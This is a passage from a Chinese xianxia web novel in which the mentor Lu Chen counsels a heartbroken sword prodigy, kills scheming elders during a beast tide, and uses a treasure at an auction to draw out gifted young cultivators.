“那商鸢姑娘可以告诉我,你喜欢怎样的男子吗?又或者说,怎样才能让你喜欢我呢?”
宁远的手已经放在剑柄之上,唯有握剑的时候,他才能勉强让自己的手止住颤抖。
少女依旧摇头。
“喜欢是没有那麽多理由的,喜欢就是喜欢,不喜欢就是不喜欢,我不喜欢你,所以无论你变成什麽样子,都与我无关。”
她很乾脆利落的说道。
少女的眉眼与五官都给人一种极为柔和的感官,像是生长在水乡的姑娘,一举一动间都好似流水般灵动。
但少女的性子却并不似流水般柔和,说话直接了当,乾脆利落,颇有侠女之风。
“可为什麽不喜欢我呢?”
宁远失魂落魄的问道。
“没有什麽为什麽,难道宁公子你是万中无一的剑道天才,天之骄子,我就非喜欢你不可?”
商鸢又道。
“我……不是这个意思。”
宁远又有些磕巴的说道。
“若宁公子没有他事,商鸢便告辞了,多谢宁公子茗茶招待的。”
少女站起身来,还未等宁远说些什麽,便施施然行了一礼,推门离去。
屋内,少年颓然趴在茶桌之上,手中长剑掉落在地。
屋外,陆尘则是开启武道天眼,看了眼离去少女的命格。
【姓名:商鸢】
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【年龄:十七】
【境界:道台九层】
【命格:黄色——小有成就】
【生平:出身水乡的贫寒少女,后被青锋皇朝碧海楼长老带回宗门之中,被选定为牵制剑皇朝剑子宁远之棋子,二人每一相遇,皆为碧海楼大能精心测算布置之局,以情为笼,困剑子宁远百载。
少女本人则潜心修行,虽并无天姿,但终有所成。
后其知晓自己为阁中棋子困宁远百载,以至宁远宗门被屠,虽对宁远无男女之情,但问心有愧,自刎而死。】
【近期遭遇:被楼中安排入百朝大战之中,遇剑皇朝宁远表明心意。】
少女命格并无什麽惊人之处,甚至於在这天骄聚集的百朝战场中,称的上极为平庸。
甚至於相貌而言,少女也并非是什麽绝色佳人,只能算的上是小家碧玉。
但就这麽个女子,偏偏却能困得剑皇朝最为出色的天骄剑不得出百年。
情之一字,确实难解。
陆尘叹了口气,推门而入。
静室之中,宁远仍趴在茶桌之上,怔怔的看着窗外。
他的双目失神,一点也没有陆尘初遇时的意气。
“如何?我并未骗你吧,你二人注定有缘无分,又何苦强求。”
陆尘自己给自
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己倒了杯茶,轻抿了一口说道。
少年人则像是个木偶一般,全然无半点反应。
“还记得我与你说过的吗?若你如此为情所困,必至家破人亡。”
陆尘并未有什麽安慰少年的想法,就这麽直截了当的告诉他。
听到这话,少年人才有了稍许反应。
他的手掌握紧成拳,但很快的又无力松开,再度恢复一番傀儡模样。
“情之一字,是你自己的事,你自己如何颓废,自然无妨,但你不是孤身一人,你贵为宗门剑子,享有他人所没有的资源与荣誉,若你因这点挫折便剑心全无,那我觉得他们真是看错了人。”
陆尘又道。
直到这时,少年人才抬起头来,茫然的看向陆尘。
“所以我与她之间,真的没有半分可能吗?”
他嘴唇微颤,面色苍白。
在先前他还觉得,哪怕少女现在不喜欢自己,可等自己越来越出色,乃至站在整个东域又或者是五域四海的剑道顶峰时,少女就没理由不喜欢自己了吧。
可听完少女的回答后,他才发觉自己错了。
好像无论自己怎麽做,她都并不会喜欢上自己了。
为什麽呢?
对呀,没有什麽为什麽。
喜欢就是喜欢,不喜欢就是不喜欢。
少年颓然想到。
陆尘忍住自己想给他一耳光的冲动,自己和你讲半天宗门存亡,合着都是耳边风是吧。
“并没有,当然你可以接着纠缠她,等着她某天幡然醒悟,原来你就是那个真命天子,又或者是直接放手,给她个清净,以免其受此压力。”
“无论你作何选择,握紧你手中长剑可好?”
“你先握着这把剑,扪心自问,是否对爹娘师长问心有愧,再去谈你的情情爱爱,到时候无论是何结果,都不会牵连到他人。”
陆尘一口气饮尽杯中茗茶,声音稍大的说道。
“剑……”
宁远目光下视,看向掉落在脚下的那柄长剑。
他伸出手,手有些微微颤抖。
良久后,他终於握住长剑剑柄,剑气不自觉的宣泄而出,直上云霄。
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第七十一章 妖兽之潮
少年人站起身来,长剑挽了个剑花,重新佩於腰间。
他的眸子闪着些许亮光,虽并未像以往那般意气风发,但总归不是空洞无神。
“我想好了,哪怕她不喜欢我,我也要一直保护她,指不定哪天她会喜欢上我呢?当然我不会丢下我的剑,若我的剑没了,我保护不了她,也保护不了宗门。”
宁远郑重而语。
【夫子之责行事完毕】
【宿主将获得大量回馈奖励】
【一:三百年上阳境修为】
【二:一品剑道真意——剑气长】
【三:灵蛊——相思愁】
就在少年人话音落下之际,一道机械声音亦是在陆尘耳边响起。
三道光点悄然浮现在陆尘心海之中,等待着他的吸收。
陆尘在心中暗自松了口气,这小子属实是个犟种,虽还是不愿放下这段注定没有结果的心念,但好在醒悟过来,剑心未散。
“对了,你为何喜欢她?”
陆尘忽地想到了什麽,又问道。
少年人一怔,一时间竟是答不出来。
“若我告诉你,你二人的每次相遇都是被有心之人刻意安排好的,甚至於你以为你喜欢她的每个点,其实都是布局之人精心落下的棋子,你还会喜欢她吗?”
陆尘问道。
少年人没有犹豫的点了点头。
“会的,无论我是因何喜欢她的,我能确定的是,我把她同我手中剑看的一样重要。
至於她身後摆弄棋局的那些人,有朝一日,我必向之问剑。”
少年人坦然而言,剑心通透无比。
陆尘暗自叹了口气。
他一开始就知道,情字难解,非一言能破之。
陆尘所能做的,也只能到这一步了。
“里面的人快出来,兽潮要来了,都给老子去守城。”
就在这时,静室外忽地有一道呐喊之声响起,只见木门忽地被人踹开,有三五人拥了上来,面露凶色。
陆尘与宁远齐齐回头。
那三五人在看清宁远之後,脸色一变,竟是连连将那踹倒在地的木门竖起,赶忙退了出去。
“站住!”
宁远厉声一喝,那几人便是动也不敢动。
“你们什麽意思?”
“没什麽意思,打扰到大人您了,我带兄弟们给您赔个不是。”
为首的精瘦男子颤颤巍巍的陪笑,生怕宁远拔剑而起。
“城里的人都被叫去了?”
宁远冷脸问道。
“大人别生气,这可不关我们的事……是大江皇朝与大穗皇朝他们下令,说是为了让大家历练一番,都叫去城头杀妖……”
“滚。”
宁远暴喝一声,身影一瞬跳出客栈之外,直奔城头而去。
他身上剑气之盛,好似周遭有万千把无形的长剑环绕一般。
“先生,大恩不言谢,我有要紧事处理。”
他高声喊道,身影如虹。
陆尘亦是追了出去,与少年一同往城头而去。
“我与你同去,我那个学生,应该也在城头。”
二人速度极快,皆是如平地惊鸿一般,并不多时,便落到了城头之上。
只见城头之上,有两位气息迫人的老者站立,显然是某个皇朝的护道人。
除此之外,有六道身影漂浮於半空之中,气息宣泄而出,竟都是有紫府三重的实力,其中为首之人,身後更是隐隐有半圈日轮,想必已是触及到上阳的门槛。
“诸位不必惊慌,叫大家出来,也是为了给大家一个磨砺的机会。”
“所谓天才,只能踩着血与火成长起来,而这兽潮,便是难得的磨砺机会,我大穗皇朝自然不愿独占这等良机。”
为首的紫袍男子高声而语,自有一股威严之感。
男子名为袁谋,乃是大穗皇朝的领军人物,其与大江皇朝合作,已是将整个斜阳关牢牢把控住,搜刮了不少赤阳石。
“多谢袁兄提点!”
“不愧是高门弟子,真是大气!”
“俺袁公子,他才是众望所归。
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城中四面八方传来呼应与恭维之声,不用多想,这些人自是已经攀附上大穗皇朝与大江皇朝之人。
在这般给其造势。
袁谋心中暗笑一声,又朗声而道:“有赖诸位信任,那袁某等人便恭敬不如从命,暂且指挥这场兽潮之战,以免诸位受到什麽伤亡。”
这般说道,他与身後几人便分别飞往城头的各处,居高临下的看着场下局面。
袁谋的目光向城头西处望去,只见有个少年手拿巨剑,身环异火,在妖兽之中奋力厮杀,收取令人分外眼红的妖丹。
此处妖兽的妖丹皆蕴含着极为纯净的赤阳之力,可以轻易提炼为赤阳石。
“杀吧,你们杀的越多,到我手上的,也便越多。”
袁谋阴恻恻的笑道,双手负立,目光贪婪。
陆尘望向那临空几人,其中亦是有那血刀庞望。
出乎意料的,这几人皆是黑色气运。
“那位拿剑的小兄弟,往东北处去守一会。”
东北处妖力最为
磅礴,其中隐隐有第五境的大妖藏着。
林炎抽空回过头看了那男子一眼,并未对其过多理会。
男子面色一沉,众目睽睽之下,有人这般违命,属实是给他狠狠打脸。
“臭小子?耳朵聋了没听到?”
他大声喝道。
区区一个紫府一重的修士,也敢对自己摆脸色?
“你不会自己滚下来?”
林炎一剑将周遭妖兽横扫开来,反问道。
“你想死?”
男子提高声调,阴沉着脸问道。
“再废话,我杀了你。”
林炎扭过头来笑道,笑意森然。
男子双拳握紧,再也按耐不住,当即跳下城头,直奔林炎而去。
他需要立威,不然自己便真成了个笑话。
而另一处,宁远早已跳下城头,寻到了少女身影,持剑将其护在身後。
“有我在,无人能伤你。”
他郑重而语。
第七十二章 乱战
“多谢公子好意,但我想,我也用不着公子帮忙吧。”
看着护在自己身前的少年,商鸢并未有什麽感激涕零之言,反而是微皱眉头说道。
宁远转过头来,又是一怔。
“公子没发觉我紧挨着城墙吗?一有情况我自己会离开的,再者我的师兄师姐就在不远处,属实不用公子费心。”
商鸢缓缓而语,玉指向不远处一点。
“可他们……”
宁远顺着商鸢的手指看去,张了张嘴,又想要说些什麽,但话终究还未说出口。
“宁公子是想说我师兄师姐他们不如你厉害,你才能保护好我是吗?”
商鸢又道。
宁远哑口无言。
他确实是这麽想的。
“宁公子真的不用为我费心了,我不是傻子,我遇到危险会自己跑的。”
“反倒是你,总说为了我好,真的会让我很有压力,你是光芒万丈的天才剑修没错,但我只想片刻清闲,若你当真为我好,离我远些可以吗?”
商鸢看着宁远的眼睛,眸子清澈若青石滩的水流。
宁远听着那些话,只觉得是被万剑穿心一般,叫人痛不欲生。
他转过身去,猛的挥出一剑。
剑气若流光而去,一瞬间在兽潮之中撕开一个口子。
所有人都将目光投向二人,不知其中发生了何事。
“宁某知道了,商鸢姑娘保重。”
他呆若木鸡的向少女这般说道,而後便一跃跳上城头,直奔血刀庞望而去。
庞望看着那浑身剑气的少年,竟是丝毫生不起一战之意,拔腿便跑。
少年紧追不舍,一连斩出数道剑气。
“今日,你六人不要有一人想离开。”
宁远冷声而语,剑气浩荡如海。
诚然,他有些把心中积郁之气发泄在大江大穗皇朝这些人身上,但宁远觉得自己并没有错,单凭他们让商鸢㣉这兽潮之中,宁远就觉得他们够该死了。
“该死的臭小子。”
那庞望被少年的剑气扫伤,手臂之处血流不止,他奔向兽潮之中,想与大穗皇朝的袁谋汇合,以二人之力治服这持剑少年。
只是前方一幕却属实令他一惊。
只见那大穗皇朝的领军人物竟被不知来头的少年打的节节败退,好似薄纸一般的倒在血泊之中。
群妖更是落井下石,猛的扑向那大穗皇朝之人。
“死吧。”
林炎半蹲在地,手掌猛的往地上一按,便有一道熔浆岩柱猛的在大穗皇朝之人所在位置升起 。
火光冲天而起,一瞬便将之湮灭。
兽潮之中所有的修行者都是为之一愣。
没有人能想到,这个名不见经传的小子竟能斩杀皇朝的领军人物。
属实是恐怖如斯。
而另一边,庞望避无可避,拔出大刀想要与宁远拚死一搏,却没想到宁远如惊虹一般从其身旁闪过,而後头也不回的收剑㣉鞘。
庞望低头下视,只见自己心口之处有个硕大无比的洞,止不住的喷涌鲜血。
砰的一声,那如山般硕壮的身躯便怦然倒地,被围上的妖兽分而食之。
好强。
这是所有目睹这一幕的修行者不免想到的词。
强的可怕。
他们可算是明白了。
什麽叫做人外有人,天外有天。
这里的每一个人,在其王朝或是门派之中都是万众瞩目的天之骄子。
可在林炎与宁远这般的真正天骄照耀下,他们顿时显得黯淡无光,好似随处可见的石子一般。
就在众人感叹之际,忽地有两头凶兽猛的扑向林炎与宁远二人,其威势之浩荡,令得周遭的妖兽都自觉退让开来。
五境大妖!
要知晓这里的妖兽本就要比外界的狂暴凶残的多,而这五境大妖,更非外界五境大妖所能比拟,相比起来,已经半步接近於外界的六境大妖了。
故而哪怕是林炎与宁远这般天骄,一时之间也是狼狈异常,被那浩荡威势所袭,猛的吐出一口鲜血。
陆尘眉头一皱,看向身旁两位老者。
这二人分别为大江与大穗皇朝的护道人,先前那二人身死时,这二位虽不敢有违背圣地规则有什麽举动,但面色却异常阴沉,眸子里有杀气流露。
“是你二人所为?”
陆尘眸子一冷问道。
这五境大妖恰恰好就扑向林炎与宁远二人,想想便知其中有蹊跷。
一人看了眼陆尘后,眼神鄙夷的移开目光,并未理
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会。
一人则是讥讽而语。
“是与不是又有何分别,小友这上阳一转的境界也来护道,倒是有些贻笑大方了,倒不如先想想怎麽护自己吧。”
那人讥笑着说道。
“与他说这麽多为何,夏虫不可语冰,井底之蛙,对牛弹琴而已。”
另一人开口附和道。
“小友刚才看我二人脸色是不是看的很舒心?如今看他二人将死於兽潮之中,心中又有何感想?”
率先讥讽的老者又乾笑两声说道,眼中
怨恨之意毕现。
“也便是在此界,老夫称你一声小友,若是在外界,你这般上阳境界,老夫翻手镇杀,还容得你这废物质问老夫?”
另一人又道,显然已经把怨恨之意撒到了陆尘身上。
陆尘看向二人,眸子里有层水雾。
武道天眼下,这二人头顶已是黑色命格盘旋。
将死之人。
陆尘亦是从那悄然变化的近期遭遇中,知道确实是这二人动的手脚。
“是你们先动阴的,那我出手便不违反圣地规则了。”
陆尘自顾自的嘀咕一句,当下纵身下了城头,灵气化剑,一剑又接一剑,分别指向林炎与宁远之处。
这两剑如鬼神挥剑,剑势之惊人,竟直接将那两头大妖逼退万里。
林炎与宁远二人也得以脱身靠向城头之处。
他二人还未来得及道谢,陆尘便是又转回城头,看向那二位老者。
“二位不是翻手便可镇压我吗?”
“试试?”
陆尘挑眉而问。
二人呆若木鸡,一时间竟不知道说些什麽。
“我给你二人三息偷跑的时间。”
二人一瞬回过神来,当即身影便要如惊虹般掠出。
“三。”
一剑划过,太阴强者亦是身死道消,甚至没有丝毫反抗之力。
陆尘很直接的数了三,二人还未起身,一剑便已经挥出。
天地一瞬寂寥。
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第七十三章 二转
整个斜阳关的修士再度愣在原地,片刻之间,他们已经是第三次受到这般冲击了。
这都是些什麽妖怪啊?
原以为那林炎与宁远二人已经更妖孽了,却没想到这位境界低微的护道䭾更要惊人。
明明不过上阳境一转的境界,却杀太阴境强䭾如杀鸡子。
这般实力,哪怕是圣地那些圣子神女们,也不过如此吧。
“这些家伙不会是出自七大帝朝吧。”
有人感叹一声,想要问清陆尘等人的来路。
七大帝朝直属於七大圣地,乃是这百朝大战中最为顶尖的势力,在出发之前,各皇朝都曾告诫过本朝参赛之人,若遇帝朝之人,切勿与之争锋,躲得越远越好。
“除了那剑修,那几人好像都只是出身於王朝之中。”
有人嘀咕起来,道出陆尘等人的来路。
“王朝?不可能吧?哪怕是最顶尖的皇朝也难培养出这般人物吧,更别说是什麽鸟不拉屎的王朝了。”
有皇朝天骄并不相信,始终觉得陆尘等人一定是出自某个绝世帝朝又或䭾是顶级皇朝之中。
“确实是王朝,好像叫什麽大离王朝来着,我见过他们的服饰。”
有知情人又道。
“王朝……那就更可怕了。”
确信几人是王朝之人後,众修士不但没有升起什麽轻视之心,反倒是更加觉得恐怖。
“若只是一人倒好,这一个两个全都这麽妖孽……”
有人叹道,觉得这百朝战场果然是英雄辈出,是真正的天骄汇聚之所。
“恐怕还不止这两个,看到西北处那少年了吗?与那用火的少年一起来的,直到现在,还在离城头最远的地方搏杀。”
又有人高声而语,将手指向城头的西北方向。
直到这时,众人才注意到,有个赤拳的少年在那兽潮之中奋力厮杀,身上灵气如山岳般压人。
“那是……荒古神体!”
有眼尖䭾注意到了少年的灵气波动,带着磅礴无比的荒古气息。
“疯了,疯了……这世界一定是疯了。”
有修士一瞬间失魂落魄,觉得自己才是那井底之蛙。
“好可怕的王朝,这般底蕴,都可以媲美那些顶级皇朝了吧。”
众人这般叹道,一时之间不免感慨万千。
尤其是那些皇朝之人,自视王朝所参赛的天骄都是些井底之蛙,但如今一见,彷佛自己才是那坐井观天之人。
而王朝来的不少参赛䭾则是热血沸腾,就好似林炎与段凌云是他们王朝中人一般。
“同样是出身王朝,他们能如此,我为何不能!”
有人垂头丧气,亦有人暗自下定决心,亦要如林炎与段凌云二人这般,哪怕出身王朝,也令众天骄为之低头。
一时之间,皆是各种念头。
而城外的兽潮也在大妖败退後缓缓退去,终於结束了这场骚乱
修士们都站在原地,并不敢离去。
按照原些的规矩,他们所猎杀到的妖丹有一大部分都是要上交给大河皇朝他们,而如今陆尘斩杀了他们,这些妖丹,自然也是由他们定夺。
但出乎众人的意料,陆尘几人并未收取这些妖丹,淡笑着缓步离去。
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“夫子好强啊,比我想象的还要厉害许多。”
林炎在陆尘身旁说道。
原先他就见过陆尘与墨渊阁阁主交手,知道陆尘实力非凡,却也没想到会强到这般地步。
两剑便能逼退五境大妖,而後又一剑将太阴境强者斩杀。
“侥幸罢了。”
陆尘笑了笑说道。
“多谢先生相救,宁远又欠先生一个人情了。”
宁远亦是跟了上来,向陆尘道谢。
他虽有保命手段不至於被大妖所伤,但仅仅是在这最外围之地就用掉的话,那属实是过於奢侈了。
“顺手为之,不必多谢,倒是我先前与你所言,多想想。”
陆尘停下脚步,看向宁远说道。
宁
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远郑重点头。
“谨记先生教诲,那宁远这便告辞,先生大恩,宁远铭记於心,来日必报。”
一向桀骜的少年竟恭敬向陆尘行礼,陆尘坦然受之,也并未谦虚推辞些什麽。
宁远便这般离去,而陆尘与林炎等人则回到驿站之中。
“在斜阳关待半个月左右,我们便出发,前往断眉关,这期间你们每日都要去兽潮之中历练,早日触摸到上阳境门槛。”
陆尘对段凌云等五人说道。
五人皆是点头,并未反对。
“断眉关不比斜阳关,那里是真正的天骄汇聚之地,像你二人这般天纵之资者,只会多,不会少。”
陆尘顿了顿,看向林炎与段凌云二人又
道。
二人点头,眸子里都有赤火摇曳着,战意万分沸腾。
他们二人亦是无比渴望与真正的天之骄子动手。
“你三人也不要心生懈怠,觉得与他二人相差甚远,所幸便没了追赶的念头,长路漫漫,走的快的人,并不一定走的最远。”
陆尘又看向另外三人道。
三人皆是点头,心中亦是有激昂之气旋绕着。
与众人唠叨几句后,陆尘便回到自己的厢房之中,将杂念收起,吸收系统所给予的几样奖励。
陆尘闭目冥想,心海之中的那三百年修为便化散开来,一部分流向麒麟玉影,一部分则被陆尘吸收入周天经脉之中。
一瞬之间,有极为刺眼的灿阳在陆尘心海之中升起,待得那灿阳缓缓消散,紫府之上的那轮大日便已是有了两圈光轮。
上阳境二转已成。
陆尘睁开眸子,只觉得与天地间的羁绊又深了不少。
大离演武的弟子之中,除了张不染外,虽并无惊人命格,但所幸蓝色命格之人并不少,陆尘一一指点,加之宁远身上获取的三百年上阳修为,不过半月,便已经从上阳境一转到了二转的地步。
而在这天骄汇聚的百朝战场,这个速度只会更快。
陆尘思索片刻,又闭上眸子,再将那一品剑道真意领悟。
至於那名为相思愁的灵蛊,则安静悬浮於陆尘心海之中。
那是朵花,一朵枯萎凋零的花。
第七十四章 钓鱼
相思愁为灵蛊中的一种,可使种蛊之人心中的相思哀愁放大千百倍,若是种蛊者为道心不坚又或者是为情所困之人,则此灵蛊堪比於最为顶尖的天阶法宝了。
如今陆尘身上的外物颇多,身上的诸般物件加起来,哪怕是封侯封王境强者也没有这般身家。
这里间的诸多灵宝奇物,随便拿一件到外界,都得掀起一阵又一阵的腥风血雨。
哪怕陆尘不依靠自身修为,单单是把这些灵宝当石头一般的砸出去,那也是能砸死一片太阴境修士了。
“待到去了段眉城,便拿件天阶灵宝出来办场拍卖会,将众天骄都吸引过来,也省的我满城的到处乱跑。”
对於陆尘而言,拿出一件天阶灵宝并不肉疼,相较於能钓到的大鱼,这一点鱼饵属实是微不足道。
想到此处,陆尘又自顾自的笑了笑,当下又是收敛心神,将各般东西消化完后,陆尘便闭目冥想,不再过多思虑。
窗外月明星稀,隐隐约约的好似有龙吟之声响起。
……
时间如白驹过隙,转瞬即逝。
半个月的日子说长不长,说短也不短。
当然此界之中,修行一日千里,与外界不可同日而语。
短短十五日间,林炎等人都觉得自己好似脱胎换骨一般,焕然一新。
陆尘带着五人离开斜阳关时,已经有诸多参赛者不舍相送,其脸上神情皆是不舍,并不似虚情假意。
这当然得益於陆尘在这半月之中对城内人多有指点,令斜阳关中的修行者都有了极大的收获。
“夫子去断眉关千万要小心。”
有一位修行者有些担忧的向陆尘等人提醒道。
“怎麽了呢?”
陆尘顿了顿问道。
“大河皇朝与大穗皇朝都同属一个联盟,而那联盟之中,还有数家皇朝以及一家顶级皇朝,这些皇朝相互勾连,知道大河与大穗皇朝折在你们手中,定然不会轻易收手的。”
那人将其担忧之处道出,陆尘却是微微摇头道:“无妨,我并不惧他们。”
“夫子还是小心为好,你们毕竟势单力薄,动起手来恐怕要遭围困。”
那人十分诚恳的又道。
陆尘点头致谢,与众人挥手告别,向段眉关而去。
整个百朝战场大致可划分为三个圈层。
外圈,内圈以及龙脉之所。
而斜阳关这些最外围的城池,则坐落在外圈的圈际线上。
段眉关则是在内圈的圈际线上,能走到其城中之人,已经算的上是这百朝战场之中的佼佼者了。
大部分普通王朝或是皇朝的人,都会在半年之後再向段眉关这种更深的城池进发,像陆尘他们这般不过半个月便入段眉城的,属实是极少数。
外圈与内圈之间相隔甚远,哪怕陆尘等人日夜兼程,也足足花了近七日时间才到达段眉关。
这段眉关倒并不似斜阳关那般有人堵在城门口。
不过想想也知晓,这般真正的天骄汇聚之地,若真像在斜阳关那般霸道横行,哪怕是天之骄子恐怕也要在犯了众怒之下饮恨西北。
陆尘等人畅通无阻的入了城,却是发觉城中人烟稀少,大道之上只有零零散散的几个行人,虽都有蓝色命格,但属实是十分蹊跷。
“这位小友,不知这城中为何如此寂寥?”
陆尘拦下一位心地纯良之人问道。
“都跑去拍卖场了,没人也正常。”
那人说话十分坦然,并未有什麽奇奇怪怪的举动。
“就在前方不远处,你们自己去吧。”
那人打量了陆尘几人几眼,本想劝他们别去淌这趟浑水,但又忽地想到这百朝战场之中天骄辈出,说不定几人是什麽隐藏的绝世高手呢?
陆尘点头谢过,便又带着众人往那拍卖场而去。
这拍卖会倒属实出乎陆尘的预料,原本他还计划着拿出件天阶灵宝来钓鱼,但此番看来,好似不用他费力去组织这东西了。
“来的早倒不如来的巧。”
陆尘与段凌云几人的身影如惊雷掠出,并不多时便到了一座高楼之前。
楼前有两名守卫,竟都是紫府二重的境界,这二人见到陆尘几人,当即将伸手阻拦。
“未有百里公子请柬者,不得入内。”
护卫这般说道。
“百里公子?”
陆尘稍稍一愣,想必这侍卫口中的百里公子,便是这场拍卖会的组织者。
百里……
莫非是那个富甲天下的百里世家?
陆尘又暗自在心中嘀咕道。
在这天地间,有些古老世家亦是传承千年,并不比诸圣地逊色。
这百里世家便是其中之一,其所造的传送阵法遍及天下五域,与药阁以及锻造师公会皆是天底下财力最为雄厚的势力,其一家一宗之财富,堪比半域之累积。
“既然姓百里,又开得起拍卖会,想必就是那荒古世家百里家了。”
陆尘又呢喃自语道。
段眉关是真正的天骄汇聚之地,陆尘有预感,这拍卖场绝对会给他不小的惊喜。
“百里公子,行个方便可好?”
眼见没有请柬被拦,陆尘也不磨叽,当下选择了最直截了当的一种法子,直接扯着嗓子大喊一声。
“放肆,此番天骄汇聚之所,岂是你这般穷乡僻里之能叨扰的。”
见陆尘这般大喊一声,这两名侍卫面色一沉,当即便要拔剑而出。
“远来是客,诸位请近。”
楼上忽地有一道爽朗笑声传出,那二位侍卫一听,当即又说起了手中长剑,铁青着脸站到一旁,放开这入楼阁之中的通道。
“对了,说话记得小心些,谨言慎行。”
待得陆尘等人入门之时,陆尘又忽地回过头来对那二位侍卫说道。
二人头顶皆是红色气运盘旋,代表着大凶之兆。
只不过二人以为陆尘这告诫之语是在耀武扬威,当下冷哼一声,冲着陆尘等人背影暗骂一句:“当真以为入了里面便也是天之骄子了?王朝之人就是王朝之人,一点见识都没有。”
其身旁之人也是应声附和:“莫要与他们一般见识,就这些紫府一重二重的修士,进去了也只是自取其辱,少不得还得道心崩溃。”
二人的闲散声音都落入陆尘耳中,陆尘倒并没有什麽心思与二人计较,毕竟收拾他们的人很快就会出现了。
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几人入了楼阁之中,便发觉宴会厅内并无多少人,且都是零零散散的坐在各个位置。
而台上则是位身着宫装,身材火爆的妖娆女子,笑意晏晏。
“几位贵客还请入座,下一组拍品马上就要上了。”
娇媚女子嫣然一笑,冲着陆尘几人说道。
陆尘并未着急落座,而是抬头往上方一看。
这楼阁共有六层,每一层都有修士气息挥散,而楼层越是往上,修士气息便越是浓郁。
显然,在这楼层最上边的那一批人,便是身份地位又或者是修为境界最高的那一批。
这倒与陆尘的念头有些出入,他本意是想拍卖会中,众天骄聚集在一起,自己好尽数查看气运,一网打尽,但如今这般,众人皆在上层楼阁之中,他自然不好去查看众人命格,至於这宴会厅中坐着的,也都只是蓝色命格而已。
“我有东西要寄拍可以吗?”
陆尘忽地问道。
拍卖师忽地一愣,但毕竟是见过大风大浪之人,当下又是一笑:“先生可交给我们的鉴定师鉴定,若是难得的珍品,自然也可在这拍卖会上拍卖。”
女子虽是笑意嫣然,但言下之意却是陆尘要寄拍的东西可能并不够格,不配出现在这拍卖场中。
毕竟在外人看来,陆尘也不过是上阳境界,这般境界在天骄之中难能可贵,但在护道者之中,属实算的上是最为垫底的那一批了。
“无需鉴定了,天阶灵宝,想必在场的人都能看得出。”
陆尘一挥袖,便有一轮弯月飞出,浮悬在这宴会厅中,散发着洁白无瑕的月光。
那轮弯月好似白玉一般晶莹透彻,看着极为美丽,实则浑身上下散发着一股极为惊人的寒气,令天地之间的温度骤降,一瞬间好似入冬了一般。
一瞬之间,原本还十分寂静的楼阁便躁动起来,各般议论之声纷纷在各个楼层响起。<
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p> 所有人都没有想到,这个不过上阳境的护道者竟然一出生便是天阶灵宝。
要知晓这般奇物,哪怕是放在他们的宗门之中也堪称镇宗法宝了,哪里会像陆尘这般随手便扔出。
“先生开个价吧,我直接收下了,免得还要哄抢一番。”
先前那道声音又忽地响起,正是在第六层楼传出。
陆尘摇了摇头。
“此物只拍不卖,且起拍价为零,拍得者我再赠其一本地阶上品身法。”
一石激起千层浪,陆尘此言一出,众人只觉得他真是疯了。
“我的条件只有一个,想要竞拍者必须到这大厅之上来,楼上的报价一概不接受。”
陆尘朗声而语,声音穿透整座楼阁。
“小小的上阳境修士真以为自己可以号令群雄?若在场的人想抢走这宝物,你守得住吗?还敢提这麽多要求?”
楼阁之上,有一道声音嗤笑道。
“等等,那小子身上有大穗王朝的法宝气息。”
又有一道声音响起。
“听说斜阳关有一伙人杀得大河皇朝他们片甲不留,还以为是什麽厉害人物,原来是这般货色。”
“诸位见谅,这夥人与我等有旧账要算,待我算完这笔账,我等再来决定这天阶灵宝的归属。”
“匹夫无罪,怀璧其罪,有这样的宝贝不好好藏着,还敢拿出来,当真是蠢货。”
那人接着说道,想要煽动在场之人直接抢夺这法宝。
陆尘也不啰嗦,灵气化剑,朝着那两处声音方向便是挥出两剑。
砰的一声,便有两人各自那楼阁之上的凭栏处跌落下来,猛的在宴会厅内砸出一个血坑。
皆是太阴境
修为的护道之人。
一时之间,凄惨无比。
陆尘则是袖袍一抖,手中长剑又消散而去,整个过程如行云流水一般,极为写意。
但这般写意场景,在旁人看来却极为恐怖,上阳境杀太阴境修士如杀鸡子,这般实力,哪怕是圣地之中的那些神子圣女,也不过如此吧。
“太阴境修士落得这般下场……”
“这家伙……”
随着那太阴境修士的惨状,楼阁之中瞬间寂寥无声,再未有半点议论或是讥讽之声。
众人都清楚的意识到,眼前这位青衫先生敢明晃晃的拿出这天阶法宝是有何底气了。
“百里浮华,见过先生。”
顶楼之上忽地有一道身影飘然而落,向陆尘拱手行礼而道。
“林向北,见过先生。”
“楚淮南,见过先生。”
“莫言言,见过先生。”
……
一时之间,数十道身影皆是从那楼阁之上跳楼下来,皆是向陆尘拱手行礼。
陆尘武道天眼大开,对众人一扫而过。
一个,两个,三个……四个!
三紫一金!
不愧是天骄汇聚之地!
陆尘在心中暗叹一声,自己这天阶灵宝果然是钓起了大鱼,而且还不止一条。
“先坐下吧,把我那件东西放最後,你们按正常顺序接着拍卖便可。”
陆尘按捺下心中的惊喜之情,当下面色平淡而语。
实力就是最有道理的道理。
当陆尘展现出绝对碾压的战力后,众位天骄也都收起了桀骜之色,当下十分恭敬的在宴会厅内入座。
护道者虽不能对参赛者动手,但却可以动他们身後的护道人,若是护道人早早身死,那麽进入那核心之地的龙脉之所,无异会异常凶险。
故而哪怕这些天骄心中都有异於常人的傲气,当下也是收敛起来,并不敢丝毫放肆。
见众人皆是落座,那娇媚女子也是从吃惊状态中回过神来,当下又重新露出那娇媚笑容,笑吟吟的介绍着身旁的物品。
“此物名为凛冬雪莲,有生死人肉白骨之功效,起拍价一千赤阳石。”
两千!三千!五千!一万!
随着女子一锤落下,这凛冬雪莲便是以一万赤阳石的价格被人拍走。
“接下来的这件,原本是本次拍卖会的压轴之物,想必诸位齐聚於此,也都是为了此物。”
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第七十五章 螳螂捕蝉,黄雀在後
随着娇媚女子莞尔一笑,场上的氛围变得越发燥热。
所有人眼中都闪出精光,目光万分火热,与那东西相比,眼前这娇媚女子也不过是红粉骷髅而已,不值一提。
并不多时,便有一彩裙女子将一白玉盒子呈了上来,引得场下又是一阵骚动。
娇媚女子伸出纤细玉手,十分轻柔的将那白玉盒子打开,只见里间躺着道赤红色的令牌,无形间散发着炽热气息,一瞬间令天地间的温度升高了不少。
“此物乃是寄拍者於魔瞳山脉深处寻得,经我们鉴定师鉴定,几乎可以认定其为进出饕餮星君洞府的信物,按照往年的情报来看,此令牌共有四道,持令牌者可入饕餮星君洞府,哪怕未被其选为传承之人,亦会有大收获,若真被其选入为传承者,那更能一步登天,成为至尊强者的唯一传人。”
女子缓缓而语,声音娇媚,动人心魄。
所有人都死死的盯着那一道令牌,至尊传承,若真能拿到手,哪怕之後一无所获,那也会是这百朝战场之中收获最大的几人之一。
虽说这麽多届百朝战场都并未有人成为这饕餮星君的传承者,可想而知这饕餮星君的眼光有多麽挑剔。
但在场之人皆是天之骄子,自然觉得自己可以做到那前人没有完成之事。
